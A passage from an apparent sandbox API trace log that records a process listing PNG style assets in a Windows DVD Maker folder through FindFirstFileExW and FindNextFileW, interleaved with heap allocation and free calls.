lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.318] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0069.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa164c8 [0069.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa177d8 [0069.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xe40) returned 0x9fa458 [0069.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa1a530) returned 1 [0069.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.318] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa164e8 [0069.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa178e0 [0069.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16508 [0069.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa179e8 [0069.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a548 [0069.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa17af0 [0069.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.319] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a568 [0069.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa17bf8 [0069.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a588 [0069.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa17d00 [0069.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.320] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a5a8 [0069.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa17e08 [0069.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a5c8 [0069.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa17f10 [0069.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a5e8 [0069.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa18018 [0069.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a608 [0069.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa18120 [0069.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a628 [0069.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa18228 [0069.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.322] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08b08 [0069.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1a648 [0069.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa18330 [0069.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08b08) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0 [0069.323] GetLastError () returned 0x12 [0069.323] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0069.323] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f955d49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f955d49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1 [0069.323] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0 [0069.323] GetLastError () returned 0x12 [0069.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.323] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0069.324] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0069.324] RtlFreeHeap 